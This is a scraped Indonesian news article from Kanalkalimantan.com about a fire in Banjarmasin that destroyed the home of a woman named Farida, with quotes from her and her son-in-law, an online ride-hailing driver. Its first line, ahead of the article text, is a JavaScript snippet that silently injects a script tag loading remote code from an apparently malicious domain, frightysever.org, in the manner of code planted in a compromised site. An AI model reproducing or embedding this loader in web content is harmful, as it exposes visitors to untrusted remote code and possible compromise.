(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Musibah kebakaran yang membara di Jalan Pekapuran Raya Gang Al Hikmah RT 20 RW 02 Kelurahan Karang Mekar Banjarmasin, menyisakan duka bagi Farida, salah satu korban yang rumahnya habis nyaris tak bersisa.
Saat ditemui Kanalkalimantan.com usai pemberian bantuan, wanita paruh baya ini duduk bersama putra menantunya di bagian dapur rumah yang tak habis terbakar. Memang, bagian dapur rumah Farida ini terbuat dari beton, sehingga masih utuh.
Kepada Kanalkalimantan.com, sejak ditinggal wafat sang suami 6 tahun lalu, Farida tinggal bersama kedua putrinya, menantu dan seorang cucu. Farida sendiri telah tinggal di rumahnya ini selama 30 tahun.
Pasca kebakaran, Farida mengungsi ke rumah keluarga menantunya.
“Saya mengungsi ke Sungai Bakung di Sungai Lulut. Di sana rumah besan saya,†ucap Farida.
Ia menceritakan, asal api berasal dari seberang rumahnya, dan langsung membesar. “Kami biasa bangun jam 3 subuh buat persiapan berdagang di Pasar Subuh (Sentra Antasari). Api langsung besar dan tidak sempat menyelamatkan barang lagi. Cuma empat sepeda motor yang di teras rumah yang sempat diselamatkan,†tambah Farida.
Menurut Farida, banyak bantuan berupa pakaian diberikan kepadanya. “Sendal dikasih orang, bantuan baju bekas diambil. Tak bisa menyelamatkan barang, apa yang ada di badan saja. Panik, api sudah besar,†kata Farida.
Akibat kebakaran ini, salah satu menantu Farida yang tinggal bersama ibu mertuanya, Fahriza, tak bisa menjalani profesinya sebagai driver ojek online. Meski satu unit sepeda motornya bisa diselamatkan, namun jaket khusus driver ojek online yang biasa ia gunakan, hangus terbakar.
“Waktu kejadian (kebakaran) saya tidur sama istri. (Sementara) tidak bisa (ngojek) dulu, 5 hari mungkin. Motor sempat diselamatkan,†kata Fahrizal sambil tertunduk lesu.
Kendati demikian, Fahrizal mendapatkan bantuan dari teman-temannya yang tergabung dalam suatu komunitas ojek online. “Bantuan dari teman-teman, dari teman-teman driver juga,†kata Fachrizal.
Sebelum meninggalkan rumah Farida, Kanalkalimantan.com mendapati sebuah buku Yasin yang dalam kondisi nyaris hangus, dan tulisan ayat suci Al Quran yang dalam keadaan utuh, meski dalam kondisi basah. (fikri)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.